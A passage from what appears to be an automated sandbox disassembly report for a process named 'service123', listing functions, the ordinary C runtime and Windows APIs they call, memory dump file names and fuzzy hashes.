abort.MSVCRT(?,?,?,?,?,?,6C85AE9C,?,?,?,?,?,?,6C916040), ref: 6C915FF8
abort.MSVCRT(?,?,?,?,?,?,6C85AE9C,?,?,?,?,?,?,6C916040), ref: 6C916000
abort.MSVCRT(?,?,?,?,?,?,6C85AE9C,?,?,?,?,?,?,6C916040), ref: 6C916008

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 7460a5107a2894952ef4c04be90bdd16a5540912c2d712b82ecff0111275a6fa
Instruction ID: 29c8e3ca8bf3c513c3ed699a27a3f05cafff85a94f3d9b22c0ab790dd66665e6
Opcode Fuzzy Hash: 7460a5107a2894952ef4c04be90bdd16a5540912c2d712b82ecff0111275a6fa
Instruction Fuzzy Hash: 634103716083088BCB04AF38C4822AAB7B1FF92358F548C7DD4848BF14E776D45ACBA1

Function 6C841020 Relevance: 9.1, APIs: 6, Instructions: 100sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6C841281,?,?,?,?,?,?,6C8413AE), ref: 6C841057
_amsg_exit.MSVCRT ref: 6C841086

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 4dd7a8318f81c8dd1f7dfa4ccfdd85e575268e250c28d4c59528d938485ca12d
Instruction ID: 0a3a36198233542b345c8317af6e0526e6f3de4e2e52269167e90a2a751e1943
Opcode Fuzzy Hash: 4dd7a8318f81c8dd1f7dfa4ccfdd85e575268e250c28d4c59528d938485ca12d
Instruction Fuzzy Hash: BD3182B070D349CBEB109F2AC68136677F0EB46398F60892DD5848BA80D775D494CBA2

Function 6C861F00 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C861F18
strlen.MSVCRT ref: 6C861F22
memcpy.MSVCRT ref: 6C861F3F
setlocale.MSVCRT ref: 6C861F52
wcsftime.MSVCRT ref: 6C861F76
setlocale.MSVCRT ref: 6C861F88

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction ID: d59b0dfb30c2c3bcc88ecc3ce6c338ee7cb58577fee0df7a5aa64af4514b1998
Opcode Fuzzy Hash: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction Fuzzy Hash: 6B11C5B4909310AFC380AF69C18465EBBE4BF88754F818C2DF4C887710E7B8D855CB92

Function 6C861C50 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C861C68
strlen.MSVCRT ref: 6C861C72
memcpy.MSVCRT ref: 6C861C8F
setlocale.MSVCRT ref: 6C861CA2
strftime.MSVCRT ref: 6C861CC6
setlocale.MSVCRT ref: 6C861CD8

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction ID: 4141e1c6b221bdf1f832571855d1ee778bdacc8eae1099be554f4ebff037b9b5
Opcode Fuzzy Hash: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction Fuzzy Hash: C911D3B4509310AFC381AF69C18475EBBE4BF94644F418C2DF8C887701E7B8D855CBA2

Function 6C84ED31 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction ID: 526b1f26ec1b6f900b2e8dff1d02690497ce292797ec077f30a78cf2e2c709b0
Opcode Fuzzy Hash: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction Fuzzy Hash: F4B01235CDC26CC5C53096BC07113D6E60ED743384FC14C2BC1D663C08C756E0538256

Function 6C85E0D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 130windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 6C85E117
LocalFree.KERNEL32 ref: 6C85E14B

Strings

basic_string: construction from null is not valid, xrefs: 6C85E1A7
Unknown error code, xrefs: 6C85E18C

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: Unknown error code$basic_string: construction from null is not valid
API String ID: 1427518018-3299438129
Opcode ID: 6719f59e851be096ad888e40dcef8b3f5fce71c883021faf20b355478114a1df
Instruction ID: 8ed4316562dd0daeb34a8c916ec51518cf24f776ec25aa52744248144e29c24b
Opcode Fuzzy Hash: 6719f59e851be096ad888e40dcef8b3f5fce71c883021faf20b355478114a1df
Instruction Fuzzy Hash: 14416AB29087089BCB10AF69C88669EBBF4FF85714F41882CE4849BB14D774D548CBD2

Function 00B32F89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00B32E97
fputc.MSVCRT ref: 00B32F07
memset.MSVCRT ref: 00B32FC2

Strings

o, xrefs: 00B32FCA
0, xrefs: 00B32FB7

Memory Dump Source

Source File: 00000009.00000002.3790768381.0000000000B31000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000009.00000002.3790722632.0000000000B30000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790812212.0000000000B3A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790885365.0000000000B3E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.3790929515.0000000000B41000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_b30000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction ID: d054c51c4b6535a6dffc79b337570251b3ba7d453192bf394b993aa0f3d2b991
Opcode Fuzzy Hash: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction Fuzzy Hash: FE316971A04325CFCB14CF68C1857AABBF1FF58710F2586A9D999AB341D338E900CB50

Function 6C853659 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6C853567
fputc.MSVCRT ref: 6C8535D7
memset.MSVCRT ref: 6C853692

Strings

0, xrefs: 6C853687
o, xrefs: 6C85369A

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction ID: 994ebfe41912e454779fcbd8ee845c4bb05f14ed73bd5c1396b809c1da461b7f
Opcode Fuzzy Hash: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction Fuzzy Hash: 47318DB5A083098FCB61CF68C2C07AAB7F1BF48354F948A69D595ABB44D378EC15CB50

Function 6C849490 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 375stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 6C8494C2
strlen.MSVCRT ref: 6C849616

Strings

_GLOBAL_, xrefs: 6C8494B7

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: strlenstrncmp
String ID: _GLOBAL_
API String ID: 1310274236-770460502
Opcode ID: fe1653b00948b880eaa71bf5c694ac38f132740788a10f2f892c03720cef663a
Instruction ID: f0320869ee3e3593fd6419264d79fd265e4778d26be7a2954c8ea3d765444792
Opcode Fuzzy Hash: fe1653b00948b880eaa71bf5c694ac38f132740788a10f2f892c03720cef663a
Instruction Fuzzy Hash: 6EF1717090522C8FEB30CF29CA903DDBBF5AF46308F5489E9C449AB645D7799A85CF81

Function 6C8BDAB0 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

Part of subcall function 6C8DF8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DF95D
Part of subcall function 6C8DF8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DF988

memcpy.MSVCRT ref: 6C8BDCB5

Part of subcall function 6C8E2530: memcpy.MSVCRT(?,-00000001,?,6C86749E,?,?,?,?,?,?,?,?,?,?,?,6C868E25), ref: 6C8E256C

Strings

basic_string::append, xrefs: 6C8BDDB2, 6C8BDDBE
iostream error, xrefs: 6C8BDD08
Unknown error, xrefs: 6C8BDB08

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: Unknown error$basic_string::append$iostream error
API String ID: 1283327689-1474074352
Opcode ID: a79028810a388a7826ed2a74f57f3137f591fa172601697efa47288ccd34f860
Instruction ID: ebfc1992d372b7ed7391afbdd0ebe1508ce54fee40c6fc106d4af03d1755f378
Opcode Fuzzy Hash: a79028810a388a7826ed2a74f57f3137f591fa172601697efa47288ccd34f860
Instruction Fuzzy Hash: 98A11571D04318DBCB20DFA8C58069DBBF1BF49314F25892ED898AB759D770A845CF82

Function 6C8ABF60 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 216COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C8AC03F
memcpy.MSVCRT ref: 6C8AC099
memcpy.MSVCRT ref: 6C8AC127

Part of subcall function 6C8AC500: memcpy.MSVCRT ref: 6C8AC58C

Strings

basic_string::replace, xrefs: 6C8AC194, 6C8AC1A7
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C8AC1B3

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: ead19485fb90a5a780722533bfeb9e3d6d3f57467657aa8898cf4dc8acdcd703
Instruction ID: d50290009d694cd66cb5873aeded80cd3584198324e42342976b3993a99a07ca
Opcode Fuzzy Hash: ead19485fb90a5a780722533bfeb9e3d6d3f57467657aa8898cf4dc8acdcd703
Instruction Fuzzy Hash: F3815771A092199FCB10EF6DC68059EBBF1FF88714F11892DE89887711E731D946CB92

Function 6C8B5000 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C8B50D0
memcpy.MSVCRT ref: 6C8B5124
memcpy.MSVCRT ref: 6C8B51B8

Part of subcall function 6C8B5590: memcpy.MSVCRT ref: 6C8B5620

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C8B5248
basic_string::replace, xrefs: 6C8B5229, 6C8B523C

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 537567e9f4a01ccf1d03544497a552202f674a560298549f23fcece3320c4fce
Instruction ID: d43cd134d8a158dafad6b173d44de07cac6fb84e582fc5e6e62ff6ff66f28c74
Opcode Fuzzy Hash: 537567e9f4a01ccf1d03544497a552202f674a560298549f23fcece3320c4fce
Instruction Fuzzy Hash: BA815675A093099FCB10DF6CC68069EBBF1AF89354F50892EE899E7710D730D944CB92

Function 6C8BD810 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 153stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8DF8C0: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DF95D
Part of subcall function 6C8DF8C0: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C8BDA2E), ref: 6C8DF988

strlen.MSVCRT ref: 6C8BD8E5
memcpy.MSVCRT ref: 6C8BD9BE

Strings

iostream error, xrefs: 6C8BDA12
Unknown error, xrefs: 6C8BD85E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: memcpy$memmovestrlen
String ID: Unknown error$iostream error
API String ID: 1234831610-3609051425
Opcode ID: dc10130dec55bc8fba4b2589a1e7708dd7fb4c97573c410cb9a345ac99fc3bf2
Instruction ID: 2d699ffacc9b362d8364450f50f9fb04f100f5556b09696c8692ce2118cb0776
Opcode Fuzzy Hash: dc10130dec55bc8fba4b2589a1e7708dd7fb4c97573c410cb9a345ac99fc3bf2
Instruction Fuzzy Hash: F461E4B0904308DFDB14DFA8C18469EBBF1BF88314F14892ED498AB759E7749849CF92

Function 6C84F840 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C84F85F
ReleaseSemaphore.KERNEL32 ref: 6C84F8E3

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: ReleaseSemaphoremalloc
String ID:
API String ID: 755742884-0
Opcode ID: 90fe8b7b78000bda146506472594da183f379d7753a67aeafc4bdb6727c18c6a
Instruction ID: ab18880e1daf359e8b928c2816419893df4078be2c43f42669f7ef17dce87989
Opcode Fuzzy Hash: 90fe8b7b78000bda146506472594da183f379d7753a67aeafc4bdb6727c18c6a
Instruction Fuzzy Hash: 73319C71A0D304DFEB20DF2AC6497167BF0BB46318F268A1DD8988B781D335E405CBA2

Function 6C84FCE0 Relevance: 7.6, APIs: 5, Instructions: 78synchronizationCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C84FCEC
ReleaseSemaphore.KERNEL32 ref: 6C84FD7C
CreateSemaphoreW.KERNEL32 ref: 6C84FDC7
WaitForSingleObject.KERNEL32 ref: 6C84FE10

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: Semaphore$CreateObjectReleaseSingleWaitmalloc
String ID:
API String ID: 2768075653-0
Opcode ID: 45a35c16c0bc523d5b14d71991d9e901f7bf31e3b2aaef18aae923a6acca4ca0
Instruction ID: 6344c418b741bd3bd8617ae400a2d5aa1665b32a91b3867f8d83767bb5e0a29d
Opcode Fuzzy Hash: 45a35c16c0bc523d5b14d71991d9e901f7bf31e3b2aaef18aae923a6acca4ca0
Instruction Fuzzy Hash: D631267060D304CFEB21EF2AC6497267BF1BB06319F218A1DE8988B781D335D445CBA2

Function 6C908520 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C908535
strlen.MSVCRT ref: 6C908583
memcpy.MSVCRT ref: 6C9085A0
setlocale.MSVCRT ref: 6C9085B4
setlocale.MSVCRT ref: 6C9085EA

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 7ac0172818a5b5383400fea3bb01d0ce156ad1e3958e27e5892e38a24ec278fd
Instruction ID: 7357608f0d2e20b49c8bca1545a7bb880577d01364addd7567817428ef8cbde5
Opcode Fuzzy Hash: 7ac0172818a5b5383400fea3bb01d0ce156ad1e3958e27e5892e38a24ec278fd
Instruction Fuzzy Hash: 6A21EFB560D3109FD380AF29D58065EBBE0AF88658F448D6EE5C8C7701E378D9458B92

Function 6C859530 Relevance: 7.6, APIs: 5, Instructions: 59COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6C859549
_unlock.MSVCRT ref: 6C859571
calloc.MSVCRT ref: 6C8595BF

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
Instruction ID: a978dac4e6b338fada13b80d9866e52f4f126fb87b46ddb288210ea1a9e371f2
Opcode Fuzzy Hash: 2d85fe9eb4c66546544eacb675d5450fb1bd51e5c271a4006a92a239dbcf87c3
